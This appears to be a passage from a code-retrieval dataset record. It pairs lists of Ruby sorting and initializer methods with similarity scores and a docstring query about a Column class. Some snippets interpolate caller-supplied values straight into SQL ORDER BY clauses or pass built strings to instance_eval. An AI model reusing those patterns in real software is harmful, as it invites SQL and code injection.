"def order_by(*sort_heads)\n # Sort the rows in order and add to new_rows.\n key_hash = partition_sort_keys(sort_heads)\n new_rows = rows.sort do |r1, r2|\n # Set the sort keys based on direction\n key1 = []\n key2 = []\n key_hash.each_pair do |h, dir|\n if dir == :forward\n key1 << r1[h]\n key2 << r2[h]\n else\n key1 << r2[h]\n key2 << r1[h]\n end\n end\n # Make any booleans comparable with <=>\n key1 = key1.map_booleans\n key2 = key2.map_booleans\n\n # If there are any nils, <=> will return nil, and we have to use the\n # special comparison method, compare_with_nils, instead.\n result = (key1 <=> key2)\n result.nil? ? compare_with_nils(key1, key2) : result\n end\n\n # Add the new_rows to the table, but mark a group boundary at the points\n # where the sort key changes value. NB: I use self.class.new here\n # rather than Table.new because if this class is inherited, I want the\n # new_tab to be an instance of the subclass. With Table.new, this\n # method's result will be an instance of FatTable::Table rather than of\n # the subclass.\n new_tab = empty_dup\n last_key = nil\n new_rows.each_with_index do |nrow, k|\n new_tab << nrow\n key = nrow.fetch_values(*key_hash.keys)\n new_tab.mark_boundary(k - 1) if last_key && key != last_key\n last_key = key\n end\n new_tab.normalize_boundaries\n new_tab\n end",
"def sort(column=@sort_by, asc = @sort_order)\n column_format = format[index(column)]\n x_sort_string = \"x.data[index('#{column}')]\"\n y_sort_string = \"y.data[index('#{column}')]\"\n \n if !(NUMBER_FORMATS + DATE_FORMATS).include? format[index(column)]\n x_sort_string = x_sort_string + \".to_s\"\n y_sort_string = y_sort_string + \".to_s\"\n end\n \n if NUMBER_FORMATS.include? format[index(column)]\n x_sort_string = x_sort_string + \".to_f\"\n y_sort_string = y_sort_string + \".to_f\" \n end\n\n # Sort the rows:\n # By returning -1 in case the comparison fails, we ensure that the sort never raises an error; however,\n # we may not get a proper sort, but it's better to have the app not fail\n @rows.sort! {|x, y| (instance_eval(x_sort_string) <=> instance_eval(y_sort_string)) || -1}\n \n @rows.reverse! unless asc\n end",
"def sort_by(att, options = {})\n sort(options.merge(:by => to_key(att)))\n end",
"def sort_by(options)\n self.sort = options\n end",
"def sort_keys\n sort_key_column_names = if can_optimise_for_different_table?\n [foreign_key_column_name_to_optimised_table]\n else\n [primary_key_column_name].compact\n end\n\n sort_key_column_names + DEFAULT_SORT_KEYS.select { |column_name| table_includes_column?(column_name) }\n end",
"def sort(table_name, list, sort_by, order, per_page, default)\r\n\r\n if table_name.has_attribute?(sort_by) && (order == \"asc\" || order == \"desc\")\r\n list = list.sort_by{|item| item[sort_by].to_s.downcase}\r\n if order == \"desc\"\r\n list = list.reverse\r\n end\r\n list \r\n else\r\n # default case\r\n list.sort_by{|item| item[default].downcase}\r\n end\r\n\r\n end",
"def sort_fields(fields)\n fields.sort {|a,b| (COLUMN_SORTING_MAP[a] || a).to_s <=> (COLUMN_SORTING_MAP[b] || b).to_s }\n end",
"def apply_sort(query, table, column_name, allowed, direction)\n validate_query_table_column(query, table, column_name, allowed)\n validate_sorting(column_name, allowed, direction)\n\n # allow sorting by field mappings\n sort_field = @build.build_custom_calculated_field(column_name)&.fetch(:arel)\n sort_field = table[column_name] if sort_field.blank?\n\n if sort_field.is_a? String\n sort_field\n elsif direction == :desc\n Arel::Nodes::Descending.new(sort_field)\n else\n #direction == :asc\n Arel::Nodes::Ascending.new(sort_field)\n end => sort_field_by\n\n query.order(sort_field_by)\n end",
"def sort(*fields)\n params(sort: fields.join(SORT_VALUES_SEPARATOR))\n end",
"def sort(data)\n if should_invert_sort?\n dir = inverted_sort_direction\n else\n dir = sort_direction\n end\n\n sfs = sort_fields\n sort_string = if sfs\n sfs.map { |p| \"#{p} #{dir}\" } * ', '\n else\n ''\n end\n\n data.reorder sort_string\n end",
"def timestamp_sort_order(direction = \"asc\")\n [arel_table[PaperTrail.event_field].send(direction.downcase), arel_table[PaperTrail.timestamp_field].send(direction.downcase)].tap do |array|\n array << arel_table[primary_key].send(direction.downcase) if primary_key_is_int?\n end\n end",
"def sort_data\n store.sort_data!\n end",
"def arel_order\n text_columns = if params[:order]\n params[:order].split(' ')\n elsif self.default_sort\n [self.default_sort].flatten\n else\n [model_class.primary_key].flatten\n end\n sort_columns = text_columns.map do |column|\n if column.to_s.include?('.')\n name,direction = column.to_s.split('.',2)\n raise \"Illegal sort direction: #{direction} in #{column}\" unless %w{asc desc}.include?(direction)\n table[name].send(direction)\n else\n table[column]\n end\n end\n sort_columns\n end",
"def sorted!(sort_query_string = nil)\n generator = parse_sorting(sort_query_string)\n generator.sort(self, reorder: true)\n end",
"def api_sort(params)\n dataset = self.clone\n\n # Sort attribute\n if sort = params['sort']\n if model.attr_orders.include?(sort.to_sym)\n dataset = dataset.order sort.to_sym\n else\n raise ApiException.new(\"invalid sort attribute (#{sort})\")\n end\n elsif dataset.opts[:order].nil?\n # Order by ID.\n dataset = dataset.order(:\"#{model.table_name}__id\")\n end\n \n # Sort order\n if dir = params['order']\n order = dataset.opts[:order].map do |term|\n if dir == 'asc'\n if term.kind_of? Sequel::SQL::OrderedExpression\n # This is already ordered; modify the direction\n term.expression.asc\n else\n term.asc\n end\n elsif dir == 'desc'\n if term.kind_of? Sequel::SQL::OrderedExpression\n # This is already ordered; modify the direction\n term.expression.desc\n else\n term.desc\n end\n else\n raise ApiException, \"invalid order (#{params['order']}) is not 'asc' or 'desc'\"\n end\n end\n # Apply order\n dataset = dataset.order(*order)\n end\n\n dataset\n end",
"def sort_by(*arguments, &block)\n data.sort_by(*arguments, &block)\n end",
"def sort(key, **options); end",
"def sortBy(keyPath, ascending:ascending)\n scopeByAddingSortDescriptor(NSSortDescriptor.alloc.initWithKey(keyPath.to_s, ascending:ascending))\n end",
"def sort(key, by: T.unsafe(nil), limit: T.unsafe(nil), get: T.unsafe(nil), order: T.unsafe(nil), store: T.unsafe(nil)); end",
"def stable_sort_by(method, order = :asc)\n if order == :asc\n merge_sort { |x, y|\n if x.send(method).nil?\n true\n elsif !x.send(method).nil? && y.send(method).nil?\n false\n else\n x.send(method) >= y.send(method)\n end\n }\n elsif order == :desc\n merge_sort { |x, y|\n if y.send(method).nil?\n true\n elsif !y.send(method).nil? && x.send(method).nil?\n false\n else\n x.send(method) <= y.send(method)\n end\n }\n else\n raise ArgumentError, \"order must be :asc or :desc\"\n end\n end",
"def sort_docs_by_key!\n meta_key = metadata[\"sort_by\"]\n # Modify `docs` array to cache document's property along with the Document instance\n docs.map! { |doc| [doc.data[meta_key], doc] }.sort! do |apples, olives|\n order = determine_sort_order(meta_key, apples, olives)\n\n # Fall back to `Document#<=>` if the properties were equal or were non-sortable\n # Otherwise continue with current sort-order\n if order.nil? || order.zero?\n apples[-1] <=> olives[-1]\n else\n order\n end\n\n # Finally restore the `docs` array with just the Document objects themselves\n end.map!(&:last)\n end",
"def order(*args)\n sql_records = records.__send__ :order, *args\n end",
"def order(*args)\r\n args.map!{ |arg| arg.is_a?(Hash) ? arg.map{ |k,v| \"#{k} #{v.upcase}\"} : arg }\r\n order = args.flatten(2).join(\", \")\r\n\r\n rows = connection.execute <<-SQL\r\n SELECT * FROM #{table}\r\n ORDER BY #{order};\r\n SQL\r\n\r\n rows_to_array(rows)\r\n end",
"def sort(type, in_order)\n @products.sort_by!(&type)\n @products.reverse! if in_order == :down\n @products\n end",
"def sort_rows(rows, sorts)\n RecordSorter.new(rows).sort(sorts)\n end",
"def query_sort(query)\n return query unless has_sort_params?\n\n apply_sort(query, @table, @sorting[:order_by], @valid_fields + @custom_fields2.keys, @sorting[:direction])\n end",
"def apply_sorting(relation)\n relation.order(@q.sorting.to_sql)\n end",
"def sort_order # rubocop:disable Metrics/AbcSize, Metrics/MethodLength\n col = sort_column\n # do a case-insensitive sort if we are sort on last name\n col = \"lower(#{col})\" if col.include?('last_name')\n return Arel.sql(\"#{col} #{sort_direction}\") unless col.include?('enumerations')\n\n klass, method = col.split('.')\n values = klass.singularize.capitalize.constantize.send(method.intern)\n .order(Arel.sql(\"value #{sort_direction} \")).pluck('value')\n order_query = values.each_with_index.inject(+'CASE ') do |memo, (val, i)| # rubocop:disable Style/EachWithObject\n memo << \"WHEN( enumerations.value = '#{val}') THEN #{i} \"\n memo\n end\n Arel.sql(\"#{order_query} ELSE #{values.length} END\")\n end",
"def sort_records(records)\n sort_order = order.map { |direction| [ direction.target, direction.operator == :asc ] }\n\n records.sort_by do |record|\n sort_order.map do |(property, ascending)|\n Sort.new(record_value(record, property), ascending)\n end\n end\n end",
"def sort(key, opts={})\n cmd = \"SORT #{key}\"\n cmd << \" BY #{opts[:by]}\" if opts[:by]\n cmd << \" GET #{opts[:get]}\" if opts[:get]\n cmd << \" INCR #{opts[:incr]}\" if opts[:incr]\n cmd << \" DEL #{opts[:del]}\" if opts[:del]\n cmd << \" DECR #{opts[:decr]}\" if opts[:decr]\n cmd << \" #{opts[:order]}\" if opts[:order]\n cmd << \" LIMIT #{opts[:limit].join(' ')}\" if opts[:limit]\n cmd << \"\\r\\n\"\n write cmd\n multi_bulk_reply\n end",
"def sort_by(att, options = {})\n sort(options.merge(:by => model.key(\"*\", att)))\n end",
"def sort_rows!(order, *columns)\n correlation = (order == :ascending ? 1 : -1)\n @rows.sort! { |a,b|\n pivot = 0\n columns.each { |column|\n pivot = column\n break if a.cell(column).value != b.cell(column).value\n }\n (a.cell(pivot).value <=> b.cell(pivot).value) * correlation \n }\n end",
"def sort(sort)\n self.query.sort = sort\n self.query.sort_descending = false\n self\n end",
"def sort_array_by_fields(array, default_order = \"launched_on\")\n sort_by = self.class::SORT_FIELDS[params[:order_by] || default_order]\n array = array.sort(&sort_by)\n\n params[:order_dir] != Sortable::DIRECTION_ASC ? array.reverse : array\n end",
"def order_by *columns\n @order += [columns].flatten\n end",
"def sort(field, direction = 'desc')\n @sorting = { field => direction }\n self\n end",
"def sort_types\n @sort_types ||= begin\n sql = <<-SQLT\n SELECT\n CASE\n WHEN min(sortkey) < 0 THEN 'interleaved'\n ELSE 'compound'\n END AS sort_type, tablename\n FROM pg_table_def\n WHERE tablename in (#{tables_for_sql})\n GROUP BY tablename\n SQLT\n RailsRedshiftReplicator.connection.exec(sql.squish).entries\n end\n end",
"def sorted\n all.order(%[ #{quoted_table_name}.\"recorded_at\", #{quoted_table_name}.\"hid\" ])\n end",
"def sort(*arguments, &block)\n data.sort(*arguments, &block)\n end",
"def order(*args) \n\t\t#normalize the arguments\n\t\t#go through each argument to figure out what type it is\n\t\torder_array = []\n\t\targs.each do |arg|\n\t\t\tcase arg \n\t\t\twhen String \n\t\t\t\torder_array.push(arg)\n\t\t\twhen Symbol \n\t\t\t\torder_array.push(arg.to_s)\n\t\t\twhen Hash \n\t\t\t\torder_array << arg.map{|key, value| \"#{key} #{value}\"}\n\t\t\tend\n\t\tend\n\t\torder_command = order_array.join(\",\")\n\n\t\trows = connection.execute <<-SQL\n\t\t\tSELECT * FROM #{table}\n\t\t\tORDER BY #{order_command};\n\n\t\tSQL\n\t\trows_to_array(rows)\n\n\tend",
"def order(sorts = {})\n clone.tap { |query| query.sorts = sorts }\n end",
"def sort(sort_method = :sort)\n values = %i[quick_sort sort bogo_sort merge_sort insertion_sort]\n raise_arg_error(sort_method, \"sort\") unless values.include? sort_method\n\n result = sort_method == :sort ? sort_method : \"patched_#{sort_method}\".to_sym\n update_sorted_array_and_time(result)\n end",
"def sort(order_column, order_method = 'asc')\n check_parameter('order_column', order_column, String)\n check_parameter('order_method', order_method, String)\n order_method_array = %w[asc desc]\n raise \"order_method parameter must be 'asc' or 'desc'\" unless order_method_array.include? order_method\n\n @request_url_base += \"&order_by=#{order_column}_#{order_method}\"\n\n self\n end",
"def <=>(schema)\n sort_key <=> schema.sort_key\n end",
"def sort_and_order_sql\n {:sort => ATTACH_MAPPING[@sort], :order => @order}\n end",
"def sort(individual_audits, order_by, sort_direction)\n return individual_audits if order_by.blank? || sort_direction.blank?\n\n # Satisfy brakeman with additional sanitation logic\n dir = sort_direction == 'asc' ? 'asc' : 'desc'\n\n case order_by\n when 'user'\n individual_audits = if dir == 'asc'\n individual_audits.sort_by { |a| a[:user] }\n else\n individual_audits.sort_by { |a| a[:user] }.reverse\n end\n when 'timestamp'\n individual_audits = if dir == 'asc'\n individual_audits.sort_by { |a| a[:timestamp] }\n else\n individual_audits.sort_by { |a| a[:timestamp] }.reverse\n end\n end\n\n individual_audits\n end",
"def sort_asc(column_name)\n results = CONNECTION.execute(\"SELECT * FROM #{table_name} ORDER BY #{column_name} ASC;\")\n results_as_objects(results)\n end",
"def do_params_sort scope\n if self.class.custom_sort_fields[sort_column].present?\n scope = self.class.custom_sort_fields[sort_column].call scope, sort_direction\n elsif resource_class.column_names.include? sort_column\n scope.reorder(resource_class.table_name+\".\"+sort_column + \" \" + sort_direction)\n end\n end",
"def sort_key(value)\n @sort = value\n end",
"def sorted(sort_query_string = nil)\n generator = parse_sorting(sort_query_string)\n generator.sort(self)\n end",
"def sorted\n all.order(Arel.sql(%[ #{quoted_table_name}.\"recorded_at\" ASC, #{quoted_table_name}.\"hid\" ASC ]))\n end",
"def ordering\n if params[:order]\n Hash[params[:order].values.map{ |ordering|\n [COLUMNS_TO_ORDER_FIELD[ordering[\"column\"].to_i], ordering[\"dir\"].to_sym]\n }]\n elsif params[:sort]\n params[:sort]\n else\n {_score: :desc}\n end\n end",
"def sort_by(field_name, dir = 'desc')\n @query_hash[SORT_BY][field_name] = { field_name => dir }\n self\n end",
"def sort_order\n sortable_column_order do |column, direction|\n if resource_handler.model_associations.present? && column.match(/\\./)\n table, column = column.split('.')\n if resource_handler.model_associations.detect { |a| a.table_name == table }\n \"#{table}.#{column} #{direction}\"\n else\n fallback_sort_order(direction)\n end\n elsif resource_handler.model.column_names.include?(column.to_s)\n \"#{resource_handler.model.table_name}.#{column} #{direction}\"\n else\n fallback_sort_order(direction)\n end\n end\n end",
"def apply_sorting(query, sort_params)\n (sort_params[:sort] || {}).each do |idx, order|\n order = (order.to_i % 2 == 0) ? :asc : :desc\n filter = ajax_filters.find { |f| f.position == idx.to_i }\n\n next if filter.blank?\n\n klass = filter.klass || query.klass\n column = filter.column\n\n if filter.sorter_query.present?\n query = filter.sorter_query.call(query, order)\n else\n query = query.reorder(\"#{klass.table_name}.#{column} #{order} NULLS LAST\")\n end\n end\n\n query\n end",
"def order(field='id',order='desc')\n case order.downcase.to_s\n when 'asc'\n self.sort { |a,b| b.send(field.to_s) <=> a.send(field.to_s) }\n when 'desc' \n self.sort { |a,b| a.send(field.to_s) <=> b.send(field.to_s) }\n end\n end",
"def table_sort_string table_code\n sorting = table_preferences(table_code)[:sort]\n column = sorting.first \n key = column.keys.first \n order_string = (column[key] == :descending) ? \"DESC\" : \"ASC\"\n fallback_key = DEFAULT_TABLE_PREFERENCES[table_code.to_sym][:sort].first.keys[0]\n sort_column = SORT_COLUMN[table_code][key] || SORT_COLUMN[table_code][fallback_key]\n return \"#{sort_column} #{order_string}\"\n end",
"def sort_by!( *headers )\n raise ArgumentError, 'Sheet#sort_by! does not support blocks.' if block_given?\n idx_array = headers.flatten.map { |header| data.index_by_header( header ) - 1 }\n sort_method = lambda { |array| idx_array.map { |idx| array[idx] } }\n data.sort_by!( &sort_method )\n self\n rescue ArgumentError => err\n raise( NoMethodError, 'Item not comparable in \"' + headers.flatten.map(&:to_s).join(', ') + '\"' ) if err.message == 'comparison of Array with Array failed'\n raise err\n end",
"def check_sort_options #:nodoc:\r\n table_name = @tables.first[1]\r\n return if session[table_name][:sort].nil? || @records.class != Mongoid::Criteria\r\n\r\n sort, direction = session[table_name][:sort].split(' ')\r\n @records = @records.order_by( sort => direction.to_i )\r\nend",
"def set_sort(col_id, asc = true)\n c = col_by_id col_id\n return false if c.blank?\n set_cookie 'sort', \"#{c.id} \" + (asc ? 'asc' : 'desc')\n return true\n end",
"def set_sort_order\n object = params[:imageable_type].constantize.find(params[:imageable_id])\n uploads = object.uploads\n params[:order].each_pair do |key, value|\n uploads.find(value[:id]).update_columns(sort: key, updated_at: Time.now)\n end\n render json: { message: 'success' }, :status => 200\n end",
"def index_sort_order\n @query = {}\n @query['sort_key'] = params['sort_key'] unless params['sort_key'].blank?\n\n if @query['sort_key']&.starts_with?('-')\n \"#{@query['sort_key'].delete_prefix('-')} DESC\"\n elsif @query['sort_key'].present?\n \"#{@query['sort_key']} ASC\"\n else\n 'updated_at DESC'\n end\n end",
"def sort(collection)\n sort = params[:sort]\n return collection unless sort\n\n sort_fields = Jaf::SortFields.deserialize(sort)\n collection.order(sort_fields)\n end",
"def apply_sorting_to_relation(rel)\n return rel if !params[:sort]\n\n sorts = params[:sort].split(',')\n\n sorts.each do |sort|\n if sort =~ /^([-+]?)(.*)$/\n desc = ($1 && $1 == '-')\n attrname = $2\n\n (attr, path) = rel.nested_attribute(attrname)\n\n rel = rel.joins { path[1..-1].inject(self.__send__(path[0]).outer) { |a,x| a.__send__(x).outer } } if path.any?\n\n # Call .asc explicitly to overcome a bug in pgsql adapter leading to undefined method to_sql\n attr = desc ? attr.desc : attr.asc\n\n rel = rel.order(attr)\n end\n end\n\n rel\n end",
"def sort(sort = nil)\n set_option(:sort, sort)\n end",
"def order(column, direction)\n unless column.is_a?(Symbol) and [:asc, :desc].include?(direction)\n raise ArgumentError,\n \"#{column.inspect} not a Symbol or \" \\\n \"#{direction.inspect} not :asc or :desc\"\n end\n\n check_column(column, @table, @col_types)\n\n direction = direction == :asc ? \"ASC\" : \"DESC\"\n with_options(:order => [column, direction])\n end",
"def sortable(default_order: {})\n # get the parameter\n sort_by = params[:sort] || params[:sort_by]\n\n if sort_by.is_a?(String)\n # split it\n sort_by_attrs = sort_by.gsub(/[^a-zA-Z0-9\\-_,]/, '').split(',')\n\n # save it\n @sortable_sort = {}\n sort_by_attrs.each do |attrb|\n if attrb.match(/^-/)\n @sortable_sort[attrb.gsub(/^-/, '')] = :desc\n else\n @sortable_sort[attrb] = :asc\n end\n end\n else\n @sortable_sort = default_order\n end\n end",
"def check_sort_options() #:nodoc:\r\n table_name = @tables.first[1]\r\n old_sort = session[table_name][:sort].to_s\r\n sort, direction = old_sort.split(' ')\r\n# sort is requested\r\n if params['sort']\r\n # reverse sort if same selected\r\n if params['sort'] == sort\r\n direction = (direction == '1') ? '-1' : '1'\r\n end\r\n direction ||= 1\r\n sort = params[:sort]\r\n session[table_name][:sort] = \"#{params['sort']} #{direction}\"\r\n session[table_name][:page] = 1\r\n end\r\n @records.sort( sort => direction.to_i ) if session[table_name][:sort]\r\n params['sort'] = nil # otherwise there is problem with other links\r\nend",
"def calls_sort_option\n column = case params[:iSortCol_0].to_s\n when '1'\n 'number'\n when '2'\n 'caller_id'\n when '3'\n 'providers.name'\n when '4'\n 'answered'\n when '5'\n 'busy'\n when '6'\n 'audio_length'\n when '7'\n 'ring_length'\n end\n column + ' ' + (params[:sSortDir_0] =~ /^A/i ? 'asc' : 'desc') if column\n end",
"def set_sortorder(order)\n puts \"RFilter.set_sortorder is DEPRECATED - use RFilter.set_sort_by_and_order instead\"\n self.sql_sortorder = order\n end",
"def sort_by!( &block )\n @data = skip_headers { |d| d.sort_by( &block ) }; self\n end",
"def sort(direction = nil)\n @direction, @current_page = direction, 0\n sort_items_according_to_current_direction\n switch_page 0\n move_cursor 0\n end",
"def order(name, direction = :asc, as: nil, sort: nil, sql_column: nil, limit: nil, reorder: false)\n raise 'expected relation to be present' unless relation\n\n sql_column ||= sql_column(name)\n sql_type = (as || sql_type(name))\n\n association = associated(name)\n sql_direction = sql_direction(direction)\n @relation = relation.reorder(nil) if reorder\n\n case sql_type\n when :belongs_to\n relation\n .order(order_by_associated_conditions(association, sort: sort, direction: direction, limit: limit))\n when :belongs_to_polymorphic\n relation\n .order(Arel.sql(\"#{sql_column}_type #{sql_direction}\"))\n .order(Arel.sql(\"#{sql_column}_id #{sql_direction}\"))\n when :has_and_belongs_to_many, :has_many, :has_one\n relation\n .order(order_by_associated_conditions(association, sort: sort, direction: direction, limit: limit))\n .order(Arel.sql(\"#{sql_column(klass.primary_key)} #{sql_direction}\"))\n when :effective_addresses\n relation\n .order(order_by_associated_conditions(associated(:addresses), sort: sort, direction: direction, limit: limit))\n .order(Arel.sql(\"#{sql_column(klass.primary_key)} #{sql_direction}\"))\n when :active_storage\n relation\n .send(\"with_attached_#{name}\")\n .references(\"#{name}_attachment\")\n .order(Arel.sql(\"active_storage_blobs.filename #{sql_direction}\"))\n when :effective_roles\n relation\n .order(Arel.sql(\"#{sql_column(:roles_mask)} #{sql_direction}\"))\n when :time\n relation\n .order(Arel.sql(\"EXTRACT(hour from #{sql_column}) #{sql_direction}, EXTRACT(minute from #{sql_column}) #{sql_direction}\"))\n when :string, :text\n relation\n .order(Arel.sql((\"ISNULL(#{sql_column}), \" if mysql?).to_s + \"#{sql_column}='' ASC, #{sql_column} #{sql_direction}\" + (\" NULLS LAST\" if postgres?).to_s))\n when :date, :datetime\n relation\n .order(Arel.sql((\"ISNULL(#{sql_column}), \" if mysql?).to_s + \"#{sql_column} #{sql_direction}\" + (\" NULLS LAST\" if postgres?).to_s))\n else\n relation\n .order(Arel.sql(\"#{sql_column} #{sql_direction}\"))\n end\n end",
"def sort_rows(index = sort_index, order = sort_order)\n return if index == -1\n return unless rows\n rows.sort! do |a,b|\n if a[index].nil?\n cmp = -1\n elsif b[index].nil?\n cmp = 1\n elsif a[index] =~ /^[0-9]+$/ and b[index] =~ /^[0-9]+$/\n cmp = a[index].to_i <=> b[index].to_i\n elsif (cmp = ip_cmp(a[index], b[index])) != nil\n else\n cmp = a[index] <=> b[index] # assumes otherwise comparable.\n end\n cmp ||= 0\n order == :forward ? cmp : -cmp\n end\n end",
"def sort_by_value(ascending=true, num_partitions=nil)\n self.sort_by('lambda{|(_, value)| value}')\n end",
"def order(*columns)\n Lotus::Utils::Kernel.Array(columns).each do |column|\n conditions.push(Proc.new{ sort_by{|r| r.fetch(column)} })\n end\n\n self\n end",
"def order_prepend(*columns, &block)\n ds = order(*columns, &block)\n @opts[:order] ? ds.order_append(*@opts[:order]) : ds\n end",
"def setup_sort_options(options)\n options[:sort] = options[:sort] ? options[:sort].dup : []\n end",
"def hadoop_sort_args\n [\n jobconf(:key_field_separator),\n jobconf(:sort_fields),\n ]\n end",
"def tableView_sortDescriptorsDidChange(aTableView, oldDescriptors)\n\t\tsort_descriptors = aTableView.sortDescriptors\n\t\tputs sort_descriptors\n\t\tputs oldDescriptors\n\t\t@order = \"\"\n\t\t@order = sort_descriptors.map { |sd| \"lower(#{ sd.key }) #{ sd.ascending ? 'asc' : 'desc' }\" }.join(', ') if sort_descriptors.any?\n\n\t\treload\n\tend",
"def add_sort_by(field, dir = \"desc\")\n @sort_fields << {field => dir}\n end",
"def sort_by_key(key = :name)\n sort do |x, y|\n x_value = x[key]\n y_value = y[key]\n x_value <=> y_value\n end\n end",
"def sort_array\n @data.sorted_by.inject([]) do |memo, (key, value)|\n memo << [@data.columns.index(key), value == 'descending' ? 0 : 1]\n end\n end",
"def order(sort_column, sort_asc)\n @sort_column = sort_column\n @sort_asc = sort_asc\n @scope = @scope.reorder(\"#{sort_column} #{sort_asc ? 'ASC' : 'DESC'}\")\n end",
"def sort_params\n @_sort_params ||=\n if params[:sort].present?\n params[:sort].split(',').each_with_object({}) do |field, hash|\n unformatted_field = @request.unformat_key(field)\n desc, field = unformatted_field.to_s.match(/^([-_])?(\\w+)$/i)[1..2]\n hash[field.to_sym] = desc.present? ? :desc : :asc\n end\n end\n end",
"def sort(field)\n if field\n toggle_sort_direction(field)\n params._sort_field = field\n end\n end",
"def order(order)\n params[:sort] = if order.is_a?(Hash) then\n order.reduce([]) do |memo, obj|\n key, value = obj\n\n if (value.to_s != \"asc\" && value.to_s != \"desc\") then\n raise ArgumentError, \"Order must be either :asc or :desc\"\n end\n\n key = \"-#{key}\" if value.to_s == \"desc\"\n memo.push(key)\n end.join(\",\")\n elsif order.is_a?(String) then\n order\n end\n\n self\n end"
] |
[
"0.7599574",
"0.67001396",
"0.62033373",
"0.5866302",
"0.5826033",
"0.582195",
"0.5780125",
"0.57496655",
"0.57232267",
"0.5716997",
"0.5655909",
"0.5633429",
"0.56311405",
"0.5580525",
"0.55534935",
"0.55394953",
"0.5536905",
"0.5530142",
"0.5525046",
"0.5515125",
"0.55051506",
"0.5498404",
"0.54857165",
"0.54776496",
"0.5466055",
"0.54571265",
"0.54557306",
"0.54496706",
"0.5434363",
"0.5380998",
"0.53666466",
"0.5358021",
"0.53423446",
"0.53285635",
"0.5302849",
"0.5297994",
"0.5278307",
"0.52730656",
"0.5265596",
"0.5235883",
"0.52282184",
"0.5223656",
"0.5213581",
"0.51897407",
"0.5188416",
"0.51794803",
"0.5173043",
"0.5168629",
"0.51547235",
"0.5142667",
"0.51422024",
"0.51421595",
"0.51412976",
"0.5139879",
"0.51397216",
"0.5127585",
"0.5126162",
"0.5117042",
"0.5112952",
"0.5097727",
"0.50906223",
"0.5086585",
"0.5063647",
"0.5062334",
"0.50600404",
"0.50385386",
"0.5038533",
"0.50252247",
"0.5012228",
"0.5006601",
"0.5000025",
"0.49965492",
"0.4986659",
"0.49848667",
"0.49840614",
"0.49806592",
"0.4975341",
"0.4961896",
"0.49586064",
"0.49565244",
"0.49546963",
"0.49490243",
"0.49473926",
"0.4946006",
"0.49388",
"0.4931316",
"0.49289942",
"0.49010053",
"0.49001956",
"0.4895119",
"0.4891675",
"0.48870316",
"0.48802373",
"0.48756352",
"0.4874647",
"0.48710647",
"0.4860834",
"0.4860653",
"0.48537546",
"0.48411936"
] |
0.8025702
|
0
|
Initializes a new Column instance with the specified ID and options. Valid keys for options are +:alignment+, +:data_comparator+, +:data_to_s+, +:label+, +:padding+, and +:width+, whose usage should be obvious. +id+:: The new instance's ID. +options+:: An options map specifying zero or more of the column's instance variable values.
|
def initialize(id, options = { })
@id = id
@alignment = options[:alignment] || :center
@data_comparator = options[:data_comparator] || Proc.new { |a, b| a <=> b }
@data_to_s = options[:data_to_s] || Proc.new { |o| o.to_s }
@label = options[:label] || id
@padding = options[:padding] || " "
@width = options[:width] || label.length
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def column id = nil, options = {}\n unless id\n id = options[:id]\n raise \"Need a column ID\" if id.nil?\n end\n if options.empty?\n @cols << {}\n else\n @cols << options\n end\n @col_count = @cols.size\n @col_ids << id\n end",
"def initialize( id, options = {} )\n super( length )\n @id = id\n properties( options ) unless options.empty?\n block.arity < 1 ? instance_eval( &block ) : block.call( self ) if block_given?\n end",
"def initialize( id, options = {} )\n super( id )\n @id = id\n properties( options ) unless options.empty?\n block.arity < 1 ? instance_eval( &block ) : block.call( self ) if block_given?\n end",
"def initialize( id = nil, options = {}, &block )\n @id = id\n properties( options ) unless options.empty?\n block.arity < 1 ? instance_eval( &block ) : block.call( self ) if block_given?\n end",
"def with_options(options)\n self.class.new(@table, @options.merge(options), @col_types).freeze\n end",
"def initialize(id, name: nil, **options)\n @id = id\n @name = name unless name.nil?\n options.each do |k, v|\n instance_variable_set(\"@#{k}\", v)\n end\n end",
"def initialize(options = {})\n @id = options[:id]\n @x_origin = options[:x_origin]\n @y_origin = options[:y_origin]\n\n set_options(options)\n end",
"def initialize(options={})\n @id = options[\"id\"].to_i\n @name = options[\"name\"]\n end",
"def initialize(id, options = {})\n raise RuntimeError.new(\"id is required\") unless (@show_id = id)\n klass = self.class\n if options[:greedy]\n update_with_mapping(@greedy = klass.full_info(@show_id))\n else\n update_with_mapping(klass.info(@show_id))\n end\n end",
"def initialize(options)\n @id = options['id']\n @fname = options['fname']\n @lname = options['lname']\n end",
"def initialize(options)\n @id = options['id']\n @fname = options['fname']\n @lname = options['lname']\n end",
"def initialize(id, name: nil, **options)\n super\n end",
"def initialize(columns, options = {})\n super\n \n @sortable = options[:sortable] || false\n @infixes = options[:infixes] || false\n @prefixes = options[:prefixes] || false\n end",
"def initialize(options={})\n @id = options[\"id\"]\n @name = options[\"name\"]\n end",
"def initialize(options={})\n @id = options[\"id\"]\n @name = options[\"name\"]\n end",
"def initialize(options = {})\n @id = options[\"id\"]\n @name = options[\"name\"]\n end",
"def initialize(options = {})\n @id = options[\"id\"]\n @name = options[\"name\"]\n end",
"def initialize(options)\n @id = options['id'] if options['id']\n @title = options['title']\n @price = options['price']\n end",
"def initialize(options)\n super(options)\n self.id = options[:id]\n end",
"def initialize(options={})\n @cols = []\n @rows = []\n @listeners = []\n @options = options\n return if options.empty?\n\n new_columns(options[:cols]) unless options[:cols].nil?\n\n return if options[:rows].nil?\n\n rows = options[:rows]\n rows.each do |row|\n add_row(row[:c])\n end\n end",
"def initialize(options={})\n @id = options[\"id\"].to_i\n @range = options[\"range\"]\n end",
"def create_column(id)\n column = Column.new(id)\n column.insert_left self\n return @columns[id] = column\n end",
"def initialize(name, options={})\n @name = name.to_sym\n @options = options\n @columns = []\n @indexes = []\n end",
"def initialize(options = {})\n @col, @colOff, @row, @rowOff = 0, 0, 0, 0\n parse_options options\n end",
"def initialize(columns, options = {})\n @columns = Array(columns)\n @associations = {}\n \n raise \"Cannot define a field with no columns. Maybe you are trying to index a field with a reserved name (id, name). You can fix this error by using a symbol rather than a bare name (:id instead of id).\" if @columns.empty? || @columns.any? { |column| !column.respond_to?(:__stack) }\n \n @alias = options[:as]\n @type = options[:type]\n @faceted = options[:facet]\n end",
"def initialize(options = {}, data = GoogleVisualr::DataTable::DataTable.new, formatters = [])\n set_options(options)\n @data_table = data\n @formatters = GoogleVisualr::Formatters::Formatters.new(formatters)\n end",
"def column(name, options = nil)\n column = Column.new(name, options)\n @list[name] = column\n end",
"def initialize(options={})\n @id = options[\"id\"].to_i\n @slot = options[\"slot\"]\n end",
